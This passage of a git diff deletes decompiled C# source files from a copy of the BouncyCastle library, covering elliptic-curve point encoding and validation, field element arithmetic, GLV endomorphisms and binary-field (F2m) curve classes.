+ 7) / 8; - byte b = encoded[0]; - switch (b) - { - case 0: - if (encoded.Length != 1) - { - throw new ArgumentException("Incorrect length for infinity encoding", "encoded"); - } - eCPoint = Infinity; - break; - case 2: - case 3: - { - if (encoded.Length != num + 1) - { - throw new ArgumentException("Incorrect length for compressed encoding", "encoded"); - } - int yTilde = b & 1; - BigInteger x3 = new BigInteger(1, encoded, 1, num); - eCPoint = DecompressPoint(yTilde, x3); - if (!eCPoint.ImplIsValid(decompressed: true, checkOrder: true)) - { - throw new ArgumentException("Invalid point"); - } - break; - } - case 4: - { - if (encoded.Length != 2 * num + 1) - { - throw new ArgumentException("Incorrect length for uncompressed encoding", "encoded"); - } - BigInteger x2 = new BigInteger(1, encoded, 1, num); - BigInteger y = new BigInteger(1, encoded, 1 + num, num); - eCPoint = ValidatePoint(x2, y); - break; - } - case 6: - case 7: - { - if (encoded.Length != 2 * num + 1) - { - throw new ArgumentException("Incorrect length for hybrid encoding", "encoded"); - } - BigInteger x = new BigInteger(1, encoded, 1, num); - BigInteger bigInteger = new BigInteger(1, encoded, 1 + num, num); - if (bigInteger.TestBit(0) != (b == 7)) - { - throw new ArgumentException("Inconsistent Y coordinate in hybrid encoding", "encoded"); - } - eCPoint = ValidatePoint(x, bigInteger); - break; - } - default: - throw new FormatException("Invalid point encoding " + b); - } - if (b != 0 && eCPoint.IsInfinity) - { - throw new ArgumentException("Invalid infinity encoding", "encoded"); - } - return eCPoint; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECFieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECFieldElement.cs deleted file mode 100644 index acae7a0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECFieldElement.cs +++ /dev/null @@ -1,104 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class ECFieldElement -{ - public abstract string FieldName { get; } - - public abstract int FieldSize { get; } - - public virtual int BitLength => ToBigInteger().BitLength; - - public virtual bool IsOne => BitLength == 1; - - public virtual bool IsZero => 0 == ToBigInteger().SignValue; - - public abstract BigInteger ToBigInteger(); - - public abstract ECFieldElement Add(ECFieldElement b); - - public abstract ECFieldElement AddOne(); - - public abstract ECFieldElement Subtract(ECFieldElement b); - - public abstract ECFieldElement Multiply(ECFieldElement b); - - public abstract ECFieldElement Divide(ECFieldElement b); - - public abstract ECFieldElement Negate(); - - public abstract ECFieldElement Square(); - - public abstract ECFieldElement Invert(); - - public abstract ECFieldElement Sqrt(); - - public virtual ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return Multiply(b).Subtract(x.Multiply(y)); - } - - public virtual ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return Multiply(b).Add(x.Multiply(y)); - } - - public virtual ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return Square().Subtract(x.Multiply(y)); - } - - public virtual ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - return Square().Add(x.Multiply(y)); - } - - public virtual ECFieldElement SquarePow(int pow) - { - ECFieldElement eCFieldElement = this; - for (int i = 0; i < pow; i++) - { - eCFieldElement = eCFieldElement.Square(); - } - return eCFieldElement; - } - - public virtual bool TestBitZero() - { - return ToBigInteger().TestBit(0); - } - - public override bool Equals(object obj) - { - return Equals(obj as ECFieldElement); - } - - public virtual bool Equals(ECFieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return ToBigInteger().Equals(other.ToBigInteger()); - } - - public override int GetHashCode() - { - return ToBigInteger().GetHashCode(); - } - - public override string ToString() - { - return ToBigInteger().ToString(16); - } - - public virtual byte[] GetEncoded() - { - return BigIntegers.AsUnsignedByteArray((FieldSize + 7) / 8, ToBigInteger()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECLookupTable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECLookupTable.cs deleted file mode 100644 index c6f441f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECLookupTable.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Math.EC; - -public interface ECLookupTable -{ - int Size { get; } - - ECPoint Lookup(int index); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPoint.cs deleted file mode 100644 index 81a96e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPoint.cs +++ /dev/null @@ -1,454 +0,0 @@ -using System; -using System.Collections; -using System.Text; -using Org.BouncyCastle.Math.EC.Multiplier; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class ECPoint -{ - private class ValidityCallback : IPreCompCallback - { - private readonly ECPoint m_outer; - - private readonly bool m_decompressed; - - private readonly bool m_checkOrder; - - internal ValidityCallback(ECPoint outer, bool decompressed, bool checkOrder) - { - m_outer = outer; - m_decompressed = decompressed; - m_checkOrder = checkOrder; - } - - public PreCompInfo Precompute(PreCompInfo existing) - { - ValidityPreCompInfo validityPreCompInfo = existing as ValidityPreCompInfo; - if (validityPreCompInfo == null) - { - validityPreCompInfo = new ValidityPreCompInfo(); - } - if (validityPreCompInfo.HasFailed()) - { - return validityPreCompInfo; - } - if (!validityPreCompInfo.HasCurveEquationPassed()) - { - if (!m_decompressed && !m_outer.SatisfiesCurveEquation()) - { - validityPreCompInfo.ReportFailed(); - return validityPreCompInfo; - } - validityPreCompInfo.ReportCurveEquationPassed(); - } - if (m_checkOrder && !validityPreCompInfo.HasOrderPassed()) - { - if (!m_outer.SatisfiesOrder()) - { - validityPreCompInfo.ReportFailed(); - return validityPreCompInfo; - } - validityPreCompInfo.ReportOrderPassed(); - } - return validityPreCompInfo; - } - } - - protected static ECFieldElement[] EMPTY_ZS = new ECFieldElement[0]; - - protected internal readonly ECCurve m_curve; - - protected internal readonly ECFieldElement m_x; - - protected internal readonly ECFieldElement m_y; - - protected internal readonly ECFieldElement[] m_zs; - - protected internal readonly bool m_withCompression; - - protected internal IDictionary m_preCompTable = null; - - public virtual ECCurve Curve => m_curve; - - protected virtual int CurveCoordinateSystem - { - get - { - if (m_curve != null) - { - return m_curve.CoordinateSystem; - } - return 0; - } - } - - public virtual ECFieldElement AffineXCoord - { - get - { - CheckNormalized(); - return XCoord; - } - } - - public virtual ECFieldElement AffineYCoord - { - get - { - CheckNormalized(); - return YCoord; - } - } - - public virtual ECFieldElement XCoord => m_x; - - public virtual ECFieldElement YCoord => m_y; - - protected internal ECFieldElement RawXCoord => m_x; - - protected internal ECFieldElement RawYCoord => m_y; - - protected internal ECFieldElement[] RawZCoords => m_zs; - - public bool IsInfinity - { - get - { - if (m_x == null) - { - return m_y == null; - } - return false; - } - } - - public bool IsCompressed => m_withCompression; - - protected internal abstract bool CompressionYTilde { get; } - - protected static ECFieldElement[] GetInitialZCoords(ECCurve curve) - { - int num = curve?.CoordinateSystem ?? 0; - int num2 = num; - if (num2 == 0 || num2 == 5) - { - return EMPTY_ZS; - } - ECFieldElement eCFieldElement = curve.FromBigInteger(BigInteger.One); - switch (num) - { - case 1: - case 2: - case 6: - return new ECFieldElement[1] { eCFieldElement }; - case 3: - return new ECFieldElement[3] { eCFieldElement, eCFieldElement, eCFieldElement }; - case 4: - return new ECFieldElement[2] { eCFieldElement, curve.A }; - default: - throw new ArgumentException("unknown coordinate system"); - } - } - - protected ECPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : this(curve, x, y, GetInitialZCoords(curve), withCompression) - { - } - - internal ECPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - m_curve = curve; - m_x = x; - m_y = y; - m_zs = zs; - m_withCompression = withCompression; - } - - protected abstract bool SatisfiesCurveEquation(); - - protected virtual bool SatisfiesOrder() - { - if (BigInteger.One.Equals(Curve.Cofactor)) - { - return true; - } - BigInteger order = Curve.Order; - if (order != null) - { - return ECAlgorithms.ReferenceMultiply(this, order).IsInfinity; - } - return true; - } - - public ECPoint GetDetachedPoint() - { - return Normalize().Detach(); - } - - protected abstract ECPoint Detach(); - - public virtual ECFieldElement GetZCoord(int index) - { - if (index >= 0 && index < m_zs.Length) - { - return m_zs[index]; - } - return null; - } - - public virtual ECFieldElement[] GetZCoords() - { - int num = m_zs.Length; - if (num == 0) - { - return m_zs; - } - ECFieldElement[] array = new ECFieldElement[num]; - Array.Copy(m_zs, 0, array, 0, num); - return array; - } - - protected virtual void CheckNormalized() - { - if (!IsNormalized()) - { - throw new InvalidOperationException("point not in normal form"); - } - } - - public virtual bool IsNormalized() - { - int curveCoordinateSystem = CurveCoordinateSystem; - if (curveCoordinateSystem != 0 && curveCoordinateSystem != 5 && !IsInfinity) - { - return RawZCoords[0].IsOne; - } - return true; - } - - public virtual ECPoint Normalize() - { - if (IsInfinity) - { - return this; - } - int curveCoordinateSystem = CurveCoordinateSystem; - if (curveCoordinateSystem == 0 || curveCoordinateSystem == 5) - { - return this; - } - ECFieldElement eCFieldElement = RawZCoords[0]; - if (eCFieldElement.IsOne) - { - return this; - } - return Normalize(eCFieldElement.Invert()); - } - - internal virtual ECPoint Normalize(ECFieldElement zInv) - { - switch (CurveCoordinateSystem) - { - case 1: - case 6: - return CreateScaledPoint(zInv, zInv); - case 2: - case 3: - case 4: - { - ECFieldElement eCFieldElement = zInv.Square(); - ECFieldElement sy = eCFieldElement.Multiply(zInv); - return CreateScaledPoint(eCFieldElement, sy); - } - default: - throw new InvalidOperationException("not a projective coordinate system"); - } - } - - protected virtual ECPoint CreateScaledPoint(ECFieldElement sx, ECFieldElement sy) - { - return Curve.CreateRawPoint(RawXCoord.Multiply(sx), RawYCoord.Multiply(sy), IsCompressed); - } - - public bool IsValid() - { - return ImplIsValid(decompressed: false, checkOrder: true); - } - - internal bool IsValidPartial() - { - return ImplIsValid(decompressed: false, checkOrder: false); - } - - internal bool ImplIsValid(bool decompressed, bool checkOrder) - { - if (IsInfinity) - { - return true; - } - ValidityCallback callback = new ValidityCallback(this, decompressed, checkOrder); - ValidityPreCompInfo validityPreCompInfo = (ValidityPreCompInfo)Curve.Precompute(this, ValidityPreCompInfo.PRECOMP_NAME, callback); - return !validityPreCompInfo.HasFailed(); - } - - public virtual ECPoint ScaleX(ECFieldElement scale) - { - if (!IsInfinity) - { - return Curve.CreateRawPoint(RawXCoord.Multiply(scale), RawYCoord, RawZCoords, IsCompressed); - } - return this; - } - - public virtual ECPoint ScaleY(ECFieldElement scale) - { - if (!IsInfinity) - { - return Curve.CreateRawPoint(RawXCoord, RawYCoord.Multiply(scale), RawZCoords, IsCompressed); - } - return this; - } - - public override bool Equals(object obj) - { - return Equals(obj as ECPoint); - } - - public virtual bool Equals(ECPoint other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - ECCurve curve = Curve; - ECCurve curve2 = other.Curve; - bool flag = null == curve; - bool flag2 = null == curve2; - bool isInfinity = IsInfinity; - bool isInfinity2 = other.IsInfinity; - if (isInfinity || isInfinity2) - { - if (isInfinity && isInfinity2) - { - if (!flag && !flag2) - { - return curve.Equals(curve2); - } - return true; - } - return false; - } - ECPoint eCPoint = this; - ECPoint eCPoint2 = other; - if (!flag || !flag2) - { - if (flag) - { - eCPoint2 = eCPoint2.Normalize(); - } - else if (flag2) - { - eCPoint = eCPoint.Normalize(); - } - else - { - if (!curve.Equals(curve2)) - { - return false; - } - ECPoint[] array = new ECPoint[2] - { - this, - curve.ImportPoint(eCPoint2) - }; - curve.NormalizeAll(array); - eCPoint = array[0]; - eCPoint2 = array[1]; - } - } - if (eCPoint.XCoord.Equals(eCPoint2.XCoord)) - { - return eCPoint.YCoord.Equals(eCPoint2.YCoord); - } - return false; - } - - public override int GetHashCode() - { - ECCurve curve = Curve; - int num = ((curve != null) ? (~curve.GetHashCode()) : 0); - if (!IsInfinity) - { - ECPoint eCPoint = Normalize(); - num ^= eCPoint.XCoord.GetHashCode() * 17; - num ^= eCPoint.YCoord.GetHashCode() * 257; - } - return num; - } - - public override string ToString() - { - if (IsInfinity) - { - return "INF"; - } - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append('('); - stringBuilder.Append(RawXCoord); - stringBuilder.Append(','); - stringBuilder.Append(RawYCoord); - for (int i = 0; i < m_zs.Length; i++) - { - stringBuilder.Append(','); - stringBuilder.Append(m_zs[i]); - } - stringBuilder.Append(')'); - return stringBuilder.ToString(); - } - - public virtual byte[] GetEncoded() - { - return GetEncoded(m_withCompression); - } - - public abstract byte[] GetEncoded(bool compressed); - - public abstract ECPoint Add(ECPoint b); - - public abstract ECPoint Subtract(ECPoint b); - - public abstract ECPoint Negate(); - - public virtual ECPoint TimesPow2(int e) - { - if (e < 0) - { - throw new ArgumentException("cannot be negative", "e"); - } - ECPoint eCPoint = this; - while (--e >= 0) - { - eCPoint = eCPoint.Twice(); - } - return eCPoint; - } - - public abstract ECPoint Twice(); - - public abstract ECPoint Multiply(BigInteger b); - - public virtual ECPoint TwicePlus(ECPoint b) - { - return Twice().Add(b); - } - - public virtual ECPoint ThreeTimes() - { - return TwicePlus(this); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPointBase.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPointBase.cs deleted file mode 100644 index 63d54e3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPointBase.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class ECPointBase : ECPoint -{ - protected internal ECPointBase(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - } - - protected internal ECPointBase(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - public override byte[] GetEncoded(bool compressed) - { - if (base.IsInfinity) - { - return new byte[1]; - } - ECPoint eCPoint = Normalize(); - byte[] encoded = eCPoint.XCoord.GetEncoded(); - if (compressed) - { - byte[] array = new byte[encoded.Length + 1]; - array[0] = (byte)(eCPoint.CompressionYTilde ? 3u : 2u); - Array.Copy(encoded, 0, array, 1, encoded.Length); - return array; - } - byte[] encoded2 = eCPoint.YCoord.GetEncoded(); - byte[] array2 = new byte[encoded.Length + encoded2.Length + 1]; - array2[0] = 4; - Array.Copy(encoded, 0, array2, 1, encoded.Length); - Array.Copy(encoded2, 0, array2, encoded.Length + 1, encoded2.Length); - return array2; - } - - public override ECPoint Multiply(BigInteger k) - { - return Curve.GetMultiplier().Multiply(this, k); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPointMap.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPointMap.cs deleted file mode 100644 index ba0c7f5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECPointMap.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Math.EC; - -public interface ECPointMap -{ - ECPoint Map(ECPoint p); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/ECEndomorphism.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/ECEndomorphism.cs deleted file mode 100644 index b7021b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/ECEndomorphism.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Endo; - -public interface ECEndomorphism -{ - ECPointMap PointMap { get; } - - bool HasEfficientPointMap { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvEndomorphism.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvEndomorphism.cs deleted file mode 100644 index 4539155..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvEndomorphism.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Endo; - -public interface GlvEndomorphism : ECEndomorphism -{ - BigInteger[] DecomposeScalar(BigInteger k); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvTypeBEndomorphism.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvTypeBEndomorphism.cs deleted file mode 100644 index 6498946..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvTypeBEndomorphism.cs +++ /dev/null @@ -1,50 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Endo; - -public class GlvTypeBEndomorphism : GlvEndomorphism, ECEndomorphism -{ - protected readonly ECCurve m_curve; - - protected readonly GlvTypeBParameters m_parameters; - - protected readonly ECPointMap m_pointMap; - - public virtual ECPointMap PointMap => m_pointMap; - - public virtual bool HasEfficientPointMap => true; - - public GlvTypeBEndomorphism(ECCurve curve, GlvTypeBParameters parameters) - { - m_curve = curve; - m_parameters = parameters; - m_pointMap = new ScaleXPointMap(curve.FromBigInteger(parameters.Beta)); - } - - public virtual BigInteger[] DecomposeScalar(BigInteger k) - { - int bits = m_parameters.Bits; - BigInteger bigInteger = CalculateB(k, m_parameters.G1, bits); - BigInteger bigInteger2 = CalculateB(k, m_parameters.G2, bits); - BigInteger[] v = m_parameters.V1; - BigInteger[] v2 = m_parameters.V2; - BigInteger bigInteger3 = k.Subtract(bigInteger.Multiply(v[0]).Add(bigInteger2.Multiply(v2[0]))); - BigInteger bigInteger4 = bigInteger.Multiply(v[1]).Add(bigInteger2.Multiply(v2[1])).Negate(); - return new BigInteger[2] { bigInteger3, bigInteger4 }; - } - - protected virtual BigInteger CalculateB(BigInteger k, BigInteger g, int t) - { - bool flag = g.SignValue < 0; - BigInteger bigInteger = k.Multiply(g.Abs()); - bool flag2 = bigInteger.TestBit(t - 1); - bigInteger = bigInteger.ShiftRight(t); - if (flag2) - { - bigInteger = bigInteger.Add(BigInteger.One); - } - if (!flag) - { - return bigInteger; - } - return bigInteger.Negate(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvTypeBParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvTypeBParameters.cs deleted file mode 100644 index a37ffcf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Endo/GlvTypeBParameters.cs +++ /dev/null @@ -1,43 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Endo; - -public class GlvTypeBParameters -{ - protected readonly BigInteger m_beta; - - protected readonly BigInteger m_lambda; - - protected readonly BigInteger[] m_v1; - - protected readonly BigInteger[] m_v2; - - protected readonly BigInteger m_g1; - - protected readonly BigInteger m_g2; - - protected readonly int m_bits; - - public virtual BigInteger Beta => m_beta; - - public virtual BigInteger Lambda => m_lambda; - - public virtual BigInteger[] V1 => m_v1; - - public virtual BigInteger[] V2 => m_v2; - - public virtual BigInteger G1 => m_g1; - - public virtual BigInteger G2 => m_g2; - - public virtual int Bits => m_bits; - - public GlvTypeBParameters(BigInteger beta, BigInteger lambda, BigInteger[] v1, BigInteger[] v2, BigInteger g1, BigInteger g2, int bits) - { - m_beta = beta; - m_lambda = lambda; - m_v1 = v1; - m_v2 = v2; - m_g1 = g1; - m_g2 = g2; - m_bits = bits; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mCurve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mCurve.cs deleted file mode 100644 index a9607e3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mCurve.cs +++ /dev/null @@ -1,215 +0,0 @@ -using System; -using Org.BouncyCastle.Math.EC.Multiplier; - -namespace Org.BouncyCastle.Math.EC; - -public class F2mCurve : AbstractF2mCurve -{ - private class DefaultF2mLookupTable : ECLookupTable - { - private readonly F2mCurve m_outer; - - private readonly long[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal DefaultF2mLookupTable(F2mCurve outer, long[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - int m = m_outer.m; - int[] ks = (m_outer.IsTrinomial() ? new int[1] { m_outer.k1 } : new int[3] { m_outer.k1, m_outer.k2, m_outer.k3 }); - int num = (m_outer.m + 63) / 64; - long[] array = new long[num]; - long[] array2 = new long[num]; - int num2 = 0; - for (int i = 0; i < m_size; i++) - { - long num3 = (i ^ index) - 1 >> 31; - for (int j = 0; j < num; j++) - { - long[] array4; - long[] array3 = (array4 = array); - int num4 = j; - nint num5 = num4; - array3[num4] = array4[num5] ^ (m_table[num2 + j] & num3); - long[] array5 = (array4 = array2); - int num6 = j; - num5 = num6; - array5[num6] = array4[num5] ^ (m_table[num2 + num + j] & num3); - } - num2 += num * 2; - } - ECFieldElement x = new F2mFieldElement(m, ks, new LongArray(array)); - ECFieldElement y = new F2mFieldElement(m, ks, new LongArray(array2)); - return m_outer.CreateRawPoint(x, y, withCompression: false); - } - } - - private const int F2M_DEFAULT_COORDS = 6; - - private readonly int m; - - private readonly int k1; - - private readonly int k2; - - private readonly int k3; - - protected readonly F2mPoint m_infinity; - - public override int FieldSize => m; - - public override ECPoint Infinity => m_infinity; - - public int M => m; - - public int K1 => k1; - - public int K2 => k2; - - public int K3 => k3; - - [Obsolete("Use constructor taking order/cofactor")] - public F2mCurve(int m, int k, BigInteger a, BigInteger b) - : this(m, k, 0, 0, a, b, null, null) - { - } - - public F2mCurve(int m, int k, BigInteger a, BigInteger b, BigInteger order, BigInteger cofactor) - : this(m, k, 0, 0, a, b, order, cofactor) - { - } - - [Obsolete("Use constructor taking order/cofactor")] - public F2mCurve(int m, int k1, int k2, int k3, BigInteger a, BigInteger b) - : this(m, k1, k2, k3, a, b, null, null) - { - } - - public F2mCurve(int m, int k1, int k2, int k3, BigInteger a, BigInteger b, BigInteger order, BigInteger cofactor) - : base(m, k1, k2, k3) - { - this.m = m; - this.k1 = k1; - this.k2 = k2; - this.k3 = k3; - m_order = order; - m_cofactor = cofactor; - m_infinity = new F2mPoint(this, null, null, withCompression: false); - if (k1 == 0) - { - throw new ArgumentException("k1 must be > 0"); - } - if (k2 == 0) - { - if (k3 != 0) - { - throw new ArgumentException("k3 must be 0 if k2 == 0"); - } - } - else - { - if (k2 <= k1) - { - throw new ArgumentException("k2 must be > k1"); - } - if (k3 <= k2) - { - throw new ArgumentException("k3 must be > k2"); - } - } - m_a = FromBigInteger(a); - m_b = FromBigInteger(b); - m_coord = 6; - } - - protected F2mCurve(int m, int k1, int k2, int k3, ECFieldElement a, ECFieldElement b, BigInteger order, BigInteger cofactor) - : base(m, k1, k2, k3) - { - this.m = m; - this.k1 = k1; - this.k2 = k2; - this.k3 = k3; - m_order = order; - m_cofactor = cofactor; - m_infinity = new F2mPoint(this, null, null, withCompression: false); - m_a = a; - m_b = b; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new F2mCurve(m, k1, k2, k3, m_a, m_b, m_order, m_cofactor); - } - - public override bool SupportsCoordinateSystem(int coord) - { - switch (coord) - { - case 0: - case 1: - case 6: - return true; - default: - return false; - } - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - if (IsKoblitz) - { - return new WTauNafMultiplier(); - } - return base.CreateDefaultMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new F2mFieldElement(m, k1, k2, k3, x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new F2mPoint(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new F2mPoint(this, x, y, zs, withCompression); - } - - public bool IsTrinomial() - { - if (k2 == 0) - { - return k3 == 0; - } - return false; - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - int num = (m + 63) / 64; - long[] array = new long[len * num * 2]; - int num2 = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - ((F2mFieldElement)eCPoint.RawXCoord).x.CopyTo(array, num2); - num2 += num; - ((F2mFieldElement)eCPoint.RawYCoord).x.CopyTo(array, num2); - num2 += num; - } - return new DefaultF2mLookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mFieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mFieldElement.cs deleted file mode 100644 index 407a612..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mFieldElement.cs +++ /dev/null @@ -1,264 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC; - -public class F2mFieldElement : AbstractF2mFieldElement -{ - public const int Gnb = 1; - - public const int Tpb = 2; - - public const int Ppb = 3; - - private int representation; - - private int m; - - private int[] ks; - - internal LongArray x; - - public override int BitLength => x.Degree(); - - public override bool IsOne => x.IsOne(); - - public override bool IsZero => x.IsZero(); - - public override string FieldName => "F2m"; - - public override int FieldSize => m; - - public int Representation => representation; - - public int M => m; - - public int K1 => ks[0]; - - public int K2 - { - get - { - if (ks.Length < 2) - { - return 0; - } - return ks[1]; - } - } - - public int K3 - { - get - { - if (ks.Length < 3) - { - return 0; - } - return ks[2]; - } - } - - [Obsolete("Use ECCurve.FromBigInteger to construct field elements")] - public F2mFieldElement(int m, int k1, int k2, int k3, BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > m) - { - throw new ArgumentException("value invalid in F2m field element", "x"); - } - if (k2 == 0 && k3 == 0) - { - representation = 2; - ks = new int[1] { k1 }; - } - else - { - if (k2 >= k3) - { - throw new ArgumentException("k2 must be smaller than k3"); - } - if (k2 <= 0) - { - throw new ArgumentException("k2 must be larger than 0"); - } - representation = 3; - ks = new int[3] { k1, k2, k3 }; - } - this.m = m; - this.x = new LongArray(x); - } - - [Obsolete("Use ECCurve.FromBigInteger to construct field elements")] - public F2mFieldElement(int m, int k, BigInteger x) - : this(m, k, 0, 0, x) - { - } - - internal F2mFieldElement(int m, int[] ks, LongArray x) - { - this.m = m; - representation = ((ks.Length == 1) ? 2 : 3); - this.ks = ks; - this.x = x; - } - - public override bool TestBitZero() - { - return x.TestBitZero(); - } - - public override BigInteger ToBigInteger() - { - return x.ToBigInteger(); - } - - public static void CheckFieldElements(ECFieldElement a, ECFieldElement b) - { - if (!(a is F2mFieldElement) || !(b is F2mFieldElement)) - { - throw new ArgumentException("Field elements are not both instances of F2mFieldElement"); - } - F2mFieldElement f2mFieldElement = (F2mFieldElement)a; - F2mFieldElement f2mFieldElement2 = (F2mFieldElement)b; - if (f2mFieldElement.representation != f2mFieldElement2.representation) - { - throw new ArgumentException("One of the F2m field elements has incorrect representation"); - } - if (f2mFieldElement.m != f2mFieldElement2.m || !Arrays.AreEqual(f2mFieldElement.ks, f2mFieldElement2.ks)) - { - throw new ArgumentException("Field elements are not elements of the same field F2m"); - } - } - - public override ECFieldElement Add(ECFieldElement b) - { - LongArray longArray = x.Copy(); - F2mFieldElement f2mFieldElement = (F2mFieldElement)b; - longArray.AddShiftedByWords(f2mFieldElement.x, 0); - return new F2mFieldElement(m, ks, longArray); - } - - public override ECFieldElement AddOne() - { - return new F2mFieldElement(m, ks, x.AddOne()); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - return new F2mFieldElement(m, ks, x.ModMultiply(((F2mFieldElement)b).x, m, ks)); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - LongArray longArray = this.x; - LongArray longArray2 = ((F2mFieldElement)b).x; - LongArray longArray3 = ((F2mFieldElement)x).x; - LongArray other = ((F2mFieldElement)y).x; - LongArray longArray4 = longArray.Multiply(longArray2, m, ks); - LongArray other2 = longArray3.Multiply(other, m, ks); - if (longArray4 == longArray || longArray4 == longArray2) - { - longArray4 = longArray4.Copy(); - } - longArray4.AddShiftedByWords(other2, 0); - longArray4.Reduce(m, ks); - return new F2mFieldElement(m, ks, longArray4); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - ECFieldElement b2 = b.Invert(); - return Multiply(b2); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - return new F2mFieldElement(m, ks, x.ModSquare(m, ks)); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - LongArray longArray = this.x; - LongArray longArray2 = ((F2mFieldElement)x).x; - LongArray other = ((F2mFieldElement)y).x; - LongArray longArray3 = longArray.Square(m, ks); - LongArray other2 = longArray2.Multiply(other, m, ks); - if (longArray3 == longArray) - { - longArray3 = longArray3.Copy(); - } - 